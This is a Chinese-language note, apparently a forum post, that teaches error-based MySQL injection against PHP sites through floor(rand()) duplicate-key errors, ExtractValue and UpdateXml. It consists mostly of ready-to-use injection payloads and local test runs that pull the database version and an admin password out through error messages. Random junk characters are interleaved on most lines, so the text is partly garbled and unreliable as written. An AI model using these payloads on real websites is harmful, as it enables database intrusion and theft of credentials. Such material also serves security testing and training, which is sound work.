放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。- R7 | P* a9 X5 r: m* D
实际测试环境:/ O. V" D0 E0 r1 v2 P4 \
( N; |% ^2 R8 H . d4 x/ A' k9 r* j2 J
mysql> show tables;
! A' I! j B4 s: s9 e* p+----------------+
) \) ^0 Q% ?) ]) h4 z! b| Tables_in_test |
+ T" G/ r2 n- ]$ o, ~5 l9 ?+----------------+
+ [; A$ I* D, h2 h S| admin |$ i; s" \) J3 y# l" B
| article |
) `. r0 H2 j7 L! M4 S5 l/ i+----------------+
' T8 v# D" a9 }& k( W/ U# d
, s% r( M! q5 S' ~- C& A
% Y9 J5 q( p9 } G. N: E c' J5 e8 q+ |1 [7 K! _4 g, b$ J2 W
mysql> describe admin;
% ~* U) K! L2 ?6 s/ ]2 j$ g F0 p# y+-------+------------------+------+-----+---------+----------------+
8 S" U) _, H1 w| Field | Type | Null | Key | Default | Extra |
1 B1 C+ x; F3 W7 a! ~8 ~/ [+-------+------------------+------+-----+---------+----------------+; g/ @2 u$ f. P- C5 n7 ?+ h
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |/ e# v4 @5 Z+ l0 d3 v# T' C$ h: I
| user | varchar(50) | NO | | NULL | |
. J% M$ m* O0 R" U5 i! {| pass | varchar(50) | NO | | NULL | |
3 k! C# p- M# c& M( x+-------+------------------+------+-----+---------+----------------+
( d' o" Z+ A3 U+ a) x4 O
5 N6 F& Y, U: S8 s 4 C+ O3 K; K& s ]6 f
5 C5 E. R1 y; W
mysql> describe article;" Z$ [; j0 g: x, g
+---------+------------------+------+-----+---------+----------------+& |( J$ q+ g5 G& b
| Field | Type | Null | Key | Default | Extra |/ W( d6 O: C& C/ A. E6 A: w
+---------+------------------+------+-----+---------+----------------+
9 t+ J3 d8 {# x: y| id | int(10) unsigned | NO | PRI | NULL | auto_increment |5 H* C& b. P; F
| title | varchar(50) | NO | | NULL | |3 B1 R2 l: M$ R0 o+ ?" L% c7 a# C c
| content | varchar(50) | NO | | NULL | |
' o4 @: l# ]' ?0 l* W5 N; n+---------+------------------+------+-----+---------+----------------+
( ]4 K. C! m% T$ ~4 Y" l6 G3 }- ~1、通过floor报错
, ?0 b [9 X8 C' Z" v. w可以通过如下一些利用代码# [; ?. H7 N$ n" Q/ X7 r
/ u- v4 Y9 Y8 `% f- w
. f# p& w s) O
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
$ K! L% Z9 q9 w R. P$ q- ]; Zfrom information_schema.tables group by x)a);
; M+ p& f+ [& I0 K8 x2 c ' c# c7 u" x; r
" D4 Y0 J' u1 i4 g! Y' j# W
and (select count(*) from (select 1 union select null union select !1)x' V- i8 S' B& d+ H! H
group by concat((select table_name from information_schema.tables limit 1),
3 F+ }; a+ w: ]- \" I/ m( p+ z- yfloor(rand(0)*2)));
& N0 H- W& j; s0 }. g举例如下:
9 I+ d7 K6 V6 ?* ]# i- }首先进行正常查询:& |2 M% q' P+ }) Y5 a0 b% x
, T! @, g, w% X6 A5 g: a9 i, nmysql> select * from article where id = 1;* s) f! W5 f! D, |8 R: q$ d7 E
+----+-------+---------+& e. K2 D0 @& O
| id | title | content |0 ~' K8 o v, C
+----+-------+---------+4 f. V. [$ H* m' ?, h- e; e
| 1 | test | do it |& h9 B0 }, C4 h/ K' g! g/ u
+----+-------+---------+
) C% g" m* d4 Z8 q1 x假如id输入存在注入的话,可以通过如下语句进行报错。+ G% R; O1 P" |3 x4 x3 v' y
& u* _1 D1 y2 H3 ^4 W1 T9 f
" P! @! C9 `- p/ hmysql> select * from article where id = 1 and (select 1 from, E, G" F' F( k/ f3 Y0 ^- _
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);. k' a4 @ d' J' }& H
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'. H8 V5 _ x1 @# b0 ?4 P% ?
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。9 Z4 S& A+ P# G/ o& H9 G$ u
例如我们需要查询管理员用户名和密码:) s" T+ @! W% L! c
Method1:6 u0 q' c3 J3 w
3 a: r& k8 C$ C u% K* n" k( f/ G \# S0 R
mysql> select * from article where id = 1 and (select 1 from
6 u& Z N' \; J$ B(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x% U; r+ ?) E0 H4 w
from information_schema.tables group by x)a);! a. H" F5 j1 v* {
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
! n% z# B( _% ~: ZMethod2:; P- ?( f4 t6 X4 u2 c* ?
2 o: D* [- B9 C: l- O( G0 c
, t/ S6 L+ C2 @+ u1 V1 P
mysql> select * from article where id = 1 and (select count(*)
0 R; c+ g7 k, I9 Sfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
' W4 |& T6 N H$ f' Yfloor(rand(0)*2)));! W- T( V+ j8 |4 r1 h
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'& {/ J. a6 o% ?/ C: N4 c' }+ D9 s3 D
2、ExtractValue
/ a; \* F( o( Y" U; V测试语句如下
- [4 {7 P9 W; r3 ^* Y
' ]$ u! \( S8 g$ O a. V
9 z' s9 C6 V0 ^" tand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));& k- [: Y0 J y4 j
实际测试过程
' |" R8 v7 @! T0 O: S( L0 \ ' \. o* v c! X! ^. o+ }) U
6 O7 q/ V7 Z' S! B9 Q* | Wmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,' Y; A) c1 b3 b6 b+ P4 C
(select pass from admin limit 1)));-- m* x) `' t0 W, @' w
ERROR 1105 (HY000): XPATH syntax error: '\admin888': | P1 b, S) X! ~ a
3、UpdateXml
3 _1 Y. j. E$ v测试语句$ e+ l' E9 D1 |4 E7 i
! _0 K% l; Z7 U1 k# q! |
( ?/ x& u8 h% p& d' _/ [. O+ a6 {
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))" X, @6 @- K8 S8 y8 e; D
实际测试过程& j7 ]- u8 `2 n5 Z' c$ F7 ^
. K$ u @4 C' H/ l! e K
4 x% Y: F6 h) umysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,5 U5 V2 @& ?7 r8 r
(select pass from admin limit 1),0x5e24),1));
* r; R' \# ^, T* KERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'2 t. V+ j5 @ g
All, thanks foreign guys.' Z2 b6 h2 g/ D; F3 C$ U
( ~- z! I& z: _% {4 H: D2 R
- a3 Q: A3 G* E& V |